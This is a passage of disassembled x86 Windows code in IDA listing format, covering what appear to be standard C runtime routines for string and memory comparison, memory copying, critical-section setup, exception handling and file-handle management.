		cmp	al, [ecx]
		jnz	short loc_41EE04
		add	ecx, 1
		or	al, al
		jz	short loc_41EE00
		test	edx, 2
		jz	short loc_41EDD0


loc_41EE2C:				; CODE XREF: sub_41EDC0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41EE04
		or	al, al
		jz	short loc_41EE00
		cmp	ah, [ecx+1]
		jnz	short loc_41EE04
		or	ah, ah
		jz	short loc_41EE00
		add	ecx, 2
		jmp	short loc_41EDD0
sub_41EDC0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short locret_41EEA2
		mov	edx, [esp+4]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+10h]
		or	edx, edi
		and	edx, 3
		jz	short loc_41EEA3
		test	eax, 1
		jz	short loc_41EE83
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41EED0
		add	esi, 1
		add	edi, 1
		sub	eax, 1
		jz	short loc_41EEA0


loc_41EE83:				; CODE XREF: .text:0041EE70j
					; .text:0041EE9Ej
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41EED0
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41EED0
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41EE83


loc_41EEA0:				; CODE XREF: .text:0041EE81j
					; .text:0041EEDAj
		pop	edi
		pop	esi

locret_41EEA2:				; CODE XREF: .text:0041EE56j
		retn
; ---------------------------------------------------------------------------


loc_41EEA3:				; CODE XREF: .text:0041EE69j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_41EED8
		repe cmpsd
		jz	short loc_41EED8
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_41EECB
		cmp	ch, dh
		jnz	short loc_41EECB
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_41EECB
		cmp	ch, dh


loc_41EECB:				; CODE XREF: .text:0041EEB9j
					; .text:0041EEBDj ...
		mov	eax, 0


loc_41EED0:				; CODE XREF: .text:0041EE76j
					; .text:0041EE89j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41EED8:				; CODE XREF: .text:0041EEABj
					; .text:0041EEAFj
		test	eax, eax
		jz	short loc_41EEA0
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_41EECB
		sub	eax, 1
		jz	short loc_41EF05
		cmp	dh, ch
		jnz	short loc_41EECB
		sub	eax, 1
		jz	short loc_41EF05
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_41EECB
		sub	eax, 1


loc_41EF05:				; CODE XREF: .text:0041EEE7j
					; .text:0041EEF0j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	eax
		mov	edx, [ebp+0Ch]
		lea	ecx, [ecx+0]


loc_41EF24:				; CODE XREF: .text:0041EF31j
		mov	al, [edx]
		or	al, al
		jz	short loc_41EF33
		add	edx, 1
		bts	[esp], eax
		jmp	short loc_41EF24
; ---------------------------------------------------------------------------


loc_41EF33:				; CODE XREF: .text:0041EF28j
		mov	esi, [ebp+8]
		mov	edi, edi


loc_41EF38:				; CODE XREF: .text:0041EF45j
		mov	al, [esi]
		or	al, al
		jz	short loc_41EF4A
		add	esi, 1
		bt	[esp], eax
		jnb	short loc_41EF38
		lea	eax, [esi-1]


loc_41EF4A:				; CODE XREF: .text:0041EF3Cj
		add	esp, 20h
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------


loc_41EF50:				; DATA XREF: sub_41EF60:loc_41EFA2o
		push	dword ptr [esp+4]
		call	dword_422154	; InitializeCriticalSection
		xor	eax, eax
		inc	eax
		retn	8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF60	proc near		; CODE XREF: sub_41A034+26p
					; sub_41A0E7+49p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	10h
		push	offset stru_42CB40
		call	__SEH_prolog
		mov	eax, dword_4814B4
		test	eax, eax
		jnz	short loc_41EFAC
		cmp	dword_481164, 1
		jz	short loc_41EFA2
		push	offset aKernel32_dll ; "kernel32.dll"
		call	dword_4220A4	; GetModuleHandleA
		test	eax, eax
		jz	short loc_41EFA2
		push	offset aInitializecrit ; "InitializeCriticalSectionAndSpinCount"
		push	eax
		call	dword_422084	; GetProcAddress
		mov	dword_4814B4, eax
		test	eax, eax
		jnz	short loc_41EFAC


loc_41EFA2:				; CODE XREF: sub_41EF60+1Cj
					; sub_41EF60+2Bj
		mov	eax, offset loc_41EF50
		mov	dword_4814B4, eax


loc_41EFAC:				; CODE XREF: sub_41EF60+13j
					; sub_41EF60+40j
		and	[ebp+ms_exc.disabled], 0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	eax	; InitializeCriticalSectionAndSpinCount
		mov	[ebp+var_1C], eax
		jmp	short loc_41EFE1
; ---------------------------------------------------------------------------


loc_41EFBD:				; DATA XREF: .text:stru_42CB40o
		mov	eax, [ebp+ms_exc.exc_ptr]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_20], eax
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_41EFCB:				; DATA XREF: .text:stru_42CB40o
		mov	esp, [ebp+ms_exc.old_esp]
		cmp	[ebp+var_20], 0C0000017h
		jnz	short loc_41EFDF
		push	8
		call	dword_422174	; RtlSetLastWin32Error


loc_41EFDF:				; CODE XREF: sub_41EF60+75j
		xor	eax, eax


loc_41EFE1:				; CODE XREF: sub_41EF60+5Bj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	__SEH_epilog
		retn
sub_41EF60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EFF0	proc near		; CODE XREF: sub_41A20A+2DEp
					; sub_41BBBB+13p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41F010
		cmp	edi, eax
		jb	loc_41F18C


loc_41F010:				; CODE XREF: sub_41EFF0+16j
		test	edi, 3
		jnz	short loc_41F02C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41F04C
		rep movsd
		jmp	off_41F13C[edx*4]
; ---------------------------------------------------------------------------


loc_41F02C:				; CODE XREF: sub_41EFF0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41F044
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41F04C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41F044:				; CODE XREF: sub_41EFF0+46j
		jmp	dword ptr loc_41F14C[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41F04C:				; CODE XREF: sub_41EFF0+31j
					; sub_41EFF0+8Ej ...
		jmp	off_41F0D0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41F060
		dd offset loc_41F08C
		dd offset loc_41F0B0
; ---------------------------------------------------------------------------


loc_41F060:				; DATA XREF: sub_41EFF0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41F04C
		rep movsd
		jmp	off_41F13C[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41F08C:				; DATA XREF: sub_41EFF0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41F04C
		rep movsd
		jmp	off_41F13C[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41F0B0:				; DATA XREF: sub_41EFF0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		add	esi, 1
		shr	ecx, 2
		add	edi, 1
		cmp	ecx, 8
		jb	short loc_41F04C
		rep movsd
		jmp	off_41F13C[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41F0D0	dd offset loc_41F133	; DATA XREF: sub_41EFF0:loc_41F04Cr
		dd offset loc_41F120
		dd offset loc_41F118
		dd offset loc_41F110
		dd offset loc_41F108
		dd offset loc_41F100
		dd offset loc_41F0F8
		dd offset loc_41F0F0
; ---------------------------------------------------------------------------


loc_41F0F0:				; CODE XREF: sub_41EFF0:loc_41F04Cj
					; DATA XREF: sub_41EFF0+FCo
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41F0F8:				; CODE XREF: sub_41EFF0:loc_41F04Cj
					; DATA XREF: sub_41EFF0+F8o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41F100:				; CODE XREF: sub_41EFF0:loc_41F04Cj
					; DATA XREF: sub_41EFF0+F4o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41F108:				; CODE XREF: sub_41EFF0:loc_41F04Cj
					; DATA XREF: sub_41EFF0+F0o
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41F110:				; CODE XREF: sub_41EFF0:loc_41F04Cj
					; DATA XREF: sub_41EFF0+ECo
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41F118:				; CODE XREF: sub_41EFF0:loc_41F04Cj
					; DATA XREF: sub_41EFF0+E8o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41F120:				; CODE XREF: sub_41EFF0:loc_41F04Cj
					; DATA XREF: sub_41EFF0+E4o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41F133:				; CODE XREF: sub_41EFF0:loc_41F04Cj
					; DATA XREF: sub_41EFF0:off_41F0D0o
		jmp	off_41F13C[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41F13C	dd offset loc_41F14C	; DATA XREF: sub_41EFF0+35r
					; sub_41EFF0+92r ...
		dd offset loc_41F154
		dd offset loc_41F160
		dd offset loc_41F174
; ---------------------------------------------------------------------------


loc_41F14C:				; CODE XREF: sub_41EFF0+35j
					; sub_41EFF0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41F154:				; CODE XREF: sub_41EFF0+35j
					; sub_41EFF0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41F160:				; CODE XREF: sub_41EFF0+35j
					; sub_41EFF0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41F174:				; CODE XREF: sub_41EFF0+35j
					; sub_41EFF0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41F18C:				; CODE XREF: sub_41EFF0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41F1C0
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41F1B4
		std
		rep movsd
		cld
		jmp	off_41F2D8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41F1B4:				; CODE XREF: sub_41EFF0+1B5j
					; sub_41EFF0+210j ...
		neg	ecx
		jmp	off_41F288[ecx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41F1C0:				; CODE XREF: sub_41EFF0+1AAj
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41F1D8
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41F1D8+4[eax*4]
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41EFF0+1DAj
					; DATA XREF: sub_41EFF0+1E1r
		jmp	off_41F2D8[ecx*4]
; ---------------------------------------------------------------------------
		align 10h
		dd offset loc_41F1EB+1
		dd offset loc_41F210
; ---------------------------------------------------------------------------
		cmp	dl, dh
		inc	ecx


loc_41F1EB:				; DATA XREF: sub_41EFF0+1F0o
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		sub	esi, 1
		shr	ecx, 2
		sub	edi, 1
		cmp	ecx, 8
		jb	short loc_41F1B4
		std
		rep movsd
		cld
		jmp	off_41F2D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41F210:				; DATA XREF: sub_41EFF0+1F4o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41F1B4
		std
		rep movsd
		cld
		jmp	off_41F2D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41F1B4
		std
		rep movsd
		cld
		jmp	off_41F2D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41F28C
		dd offset loc_41F294
		dd offset loc_41F29C
		dd offset loc_41F2A4
		dd offset loc_41F2AC
		dd offset loc_41F2B4
		dd offset loc_41F2BC
off_41F288	dd offset loc_41F2CF	; DATA XREF: sub_41EFF0+1C6r
; ---------------------------------------------------------------------------


loc_41F28C:				; DATA XREF: sub_41EFF0+27Co
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41F294:				; DATA XREF: sub_41EFF0+280o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41F29C:				; DATA XREF: sub_41EFF0+284o
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41F2A4:				; DATA XREF: sub_41EFF0+288o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41F2AC:				; DATA XREF: sub_41EFF0+28Co
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41F2B4:				; DATA XREF: sub_41EFF0+290o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41F2BC:				; DATA XREF: sub_41EFF0+294o
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41F2CF:				; CODE XREF: sub_41EFF0+1C6j
					; DATA XREF: sub_41EFF0:off_41F288o
		jmp	off_41F2D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41F2D8	dd offset loc_41F2E8	; DATA XREF: sub_41EFF0+1BBr
					; sub_41EFF0:loc_41F1D8r ...
		dd offset loc_41F2F0
		dd offset loc_41F300
		dd offset loc_41F314
; ---------------------------------------------------------------------------


loc_41F2E8:				; CODE XREF: sub_41EFF0+1BBj
					; sub_41EFF0:loc_41F1D8j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41F2F0:				; CODE XREF: sub_41EFF0+1BBj
					; sub_41EFF0:loc_41F1D8j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41F300:				; CODE XREF: sub_41EFF0+1BBj
					; sub_41EFF0:loc_41F1D8j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41F314:				; CODE XREF: sub_41EFF0+1BBj
					; sub_41EFF0:loc_41F1D8j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41EFF0	endp

; ---------------------------------------------------------------------------
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F338	proc near		; DATA XREF: __SEH_prologo

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41F3D8
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]


loc_41F36B:				; CODE XREF: sub_41F338+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41F3D1
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41F3BF
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41F3BF
		js	short loc_41F3CA
		mov	edi, [ebx+8]
		push	ebx
		call	sub_417CF0
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_417D32
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_417DC6
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]


loc_41F3BF:				; CODE XREF: sub_41F338+40j
					; sub_41F338+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F3CA:				; CODE XREF: sub_41F338+54j
		mov	eax, 0
		jmp	short loc_41F3ED
; ---------------------------------------------------------------------------


loc_41F3D1:				; CODE XREF: sub_41F338+36j
		mov	eax, 1
		jmp	short loc_41F3ED
; ---------------------------------------------------------------------------


loc_41F3D8:				; CODE XREF: sub_41F338+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_417D32
		add	esp, 8
		pop	ebp
		mov	eax, 1


loc_41F3ED:				; CODE XREF: sub_41F338+97j
					; sub_41F338+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F338	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_417D32
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41F410	proc near		; CODE XREF: sub_41F885+220p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		cmp	ecx, dword_4815D0
		push	esi
		push	edi
		jnb	short loc_41F473
		mov	eax, ecx
		sar	eax, 5
		lea	edi, ds:4815E0h[eax*4]
		mov	eax, ecx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [edi]
		shl	esi, 2
		cmp	dword ptr [esi+eax], 0FFFFFFFFh
		jnz	short loc_41F473
		cmp	dword_432364, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41F469
		sub	ecx, 0
		jz	short loc_41F460
		dec	ecx
		jz	short loc_41F45B
		dec	ecx
		jnz	short loc_41F469
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41F463
; ---------------------------------------------------------------------------


loc_41F45B:				; CODE XREF: sub_41F410+41j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41F463
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F410+3Ej
		push	ebx
		push	0FFFFFFF6h


loc_41F463:				; CODE XREF: sub_41F410+49j
					; sub_41F410+4Ej
		call	dword_422150	; SetStdHandle


loc_41F469:				; CODE XREF: sub_41F410+39j
					; sub_41F410+44j
		mov	eax, [edi]
		mov	[esi+eax], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41F489
; ---------------------------------------------------------------------------


loc_41F473:				; CODE XREF: sub_41F410+Cj
					; sub_41F410+2Bj
		call	sub_41B935
		mov	dword ptr [eax], 9
		call	sub_41B93E
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_41F489:				; CODE XREF: sub_41F410+61j
		pop	edi
		pop	esi
		retn
sub_41F410	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F48C	proc near		; CODE XREF: sub_41AD23+51p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	ecx, dword_4815D0
		push	esi
		push	edi
		jnb	short loc_41F4F2
		mov	eax, ecx
		sar	eax, 5
		lea	edi, ds:4815E0h[eax*4]
		mov	eax, ecx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		mov	eax, [edi]
		shl	esi, 2
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41F4F2
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41F4F2
		cmp	dword_432364, 1
		jnz	short loc_41F4E8
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41F4DF
		dec	ecx
		jz	short loc_41F4DA
		dec	ecx
		jnz	short loc_41F4E8
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41F4E2
; ---------------------------------------------------------------------------


loc_41F4DA:				; CODE XREF: sub_41F48C+44j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41F4E2
; ---------------------------------------------------------------------------


loc_41F4DF:				; CODE XREF: sub_41F48C+41j
		push	eax
		push	0FFFFFFF6h


loc_41F4E2:				; CODE XREF: sub_41F48C+4Cj
					; sub_41F48C+51j
		call	dword_422150	; SetStdHandle


loc_41F4E8:				; CODE XREF: sub_41F48C+3Bj
					; sub_41F48C+47j
		mov	eax, [edi]
		or	dword ptr [esi+eax], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41F508
; ---------------------------------------------------------------------------


loc_41F4F2:				; CODE XREF: sub_41F48C+Cj
					; sub_41F48C+2Dj ...
		call	sub_41B935
		mov	dword ptr [eax], 9
		call	sub_41B93E
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_41F508:				; CODE XREF: sub_41F48C+64j
		pop	edi
		pop	esi
		retn
sub_41F48C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F50B	proc near		; CODE XREF: sub_41AD23+7p
					; sub_41AD23+1Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_4815D0
		jnb	short loc_41F535
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4815E0[ecx*4]
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4]
		test	byte ptr [eax+4], 1
		jz	short loc_41F535
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41F535:				; CODE XREF: sub_41F50B+Aj
					; sub_41F50B+25j
		call	sub_41B935
		mov	dword ptr [eax], 9
		call	sub_41B93E
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		retn
sub_41F50B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F54C	proc near		; CODE XREF: sub_41ADA6+38p
					; sub_41B3E4+38p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		push	esi
		mov	ecx, eax
		sar	ecx, 5
		and	eax, 1Fh
		push	edi
		lea	ebx, ds:4815E0h[ecx*4]
		mov	esi, [ebx]
		lea	edi, [eax+eax*8]
		shl	edi, 2
		add	esi, edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41F5AB
		push	0Ah
		call	sub_41A166
		cmp	dword ptr [esi+8], 0
		pop	ecx
		jnz	short loc_41F5A3
		lea	eax, [esi+0Ch]
		push	0FA0h
		push	eax
		call	sub_41EF60
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_41F5A0
		push	0Ah
		call	sub_41A0D2
		pop	ecx
		xor	eax, eax
		jmp	short loc_41F5BB
; ---------------------------------------------------------------------------


loc_41F5A0:				; CODE XREF: sub_41F54C+46j
		inc	dword ptr [esi+8]


loc_41F5A3:				; CODE XREF: sub_41F54C+32j
		push	0Ah
		call	sub_41A0D2
		pop	ecx


loc_41F5AB:				; CODE XREF: sub_41F54C+24j
		mov	eax, [ebx]
		lea	eax, [eax+edi+0Ch]
		push	eax
		call	dword_422018	; RtlEnterCriticalSection
		xor	eax, eax
		inc	eax


loc_41F5BB:				; CODE XREF: sub_41F54C+52j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41F54C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F5BF	proc near		; CODE XREF: sub_41AE1D+1p
					; sub_41B46B+1p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4815E0[ecx*4]
		lea	eax, [eax+eax*8]
		lea	eax, [ecx+eax*4+0Ch]
		push	eax
		call	dword_422014	; RtlLeaveCriticalSection
		retn
sub_41F5BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F5E1	proc near		; CODE XREF: sub_41F885:loc_41FA19p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		push	ebp
		push	0Bh
		or	ebp, 0FFFFFFFFh
		call	sub_41A0E7
		test	eax, eax
		pop	ecx
		jz	loc_41F728
		push	ebx
		push	esi
		push	edi
		push	0Bh
		call	sub_41A166
		xor	ebx, ebx
		pop	ecx
		mov	[esp+18h+var_8], ebx
		mov	[esp+18h+var_4], ebx
		mov	edi, offset dword_4815E0


loc_41F611:				; CODE XREF: sub_41F5E1+D5j
		mov	esi, [edi]
		test	esi, esi
		jz	loc_41F6C8
		lea	eax, [esi+480h]
		jmp	short loc_41F681
; ---------------------------------------------------------------------------


loc_41F623:				; CODE XREF: sub_41F5E1+A2j
		test	byte ptr [esi+4], 1
		jnz	short loc_41F677
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41F65C
		push	0Ah
		call	sub_41A166
		cmp	dword ptr [esi+8], 0
		pop	ecx
		jnz	short loc_41F654
		lea	eax, [esi+0Ch]
		push	0FA0h
		push	eax
		call	sub_41EF60
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41F6BE
		inc	dword ptr [esi+8]


loc_41F654:				; CODE XREF: sub_41F5E1+5Aj
		push	0Ah
		call	sub_41A0D2
		pop	ecx


loc_41F65C:				; CODE XREF: sub_41F5E1+4Cj
		lea	ebx, [esi+0Ch]
		push	ebx
		call	dword_422018	; RtlEnterCriticalSection
		test	byte ptr [esi+4], 1
		jz	short loc_41F687
		push	ebx
		call	dword_422014	; RtlLeaveCriticalSection
		mov	ebx, [esp+18h+var_8]


loc_41F677:				; CODE XREF: sub_41F5E1+46j
		mov	eax, [edi]
		add	esi, 24h
		add	eax, 480h


loc_41F681:				; CODE XREF: sub_41F5E1+40j
		cmp	esi, eax
		jb	short loc_41F623
		jmp	short loc_41F6A3
; ---------------------------------------------------------------------------


loc_41F687:				; CODE XREF: sub_41F5E1+89j
		or	dword ptr [esi], 0FFFFFFFFh
		mov	eax, esi
		sub	eax, [edi]
		push	24h
		cdq
		pop	ecx
		idiv	ecx
		mov	ebp, eax
		add	ebp, [esp+18h+var_4]
		cmp	ebp, 0FFFFFFFFh
		jnz	short loc_41F71D
		mov	ebx, [esp+18h+var_8]


loc_41F6A3:				; CODE XREF: sub_41F5E1+A4j
		add	[esp+18h+var_4], 20h
		inc	ebx
		add	edi, 4
		cmp	edi, offset dword_4816E0
		mov	[esp+18h+var_8], ebx
		jl	loc_41F611
		jmp	short loc_41F71D
; ---------------------------------------------------------------------------


loc_41F6BE:				; CODE XREF: sub_41F5E1+6Ej
		push	0Ah
		call	sub_41A0D2
		pop	ecx
		jmp	short loc_41F71A
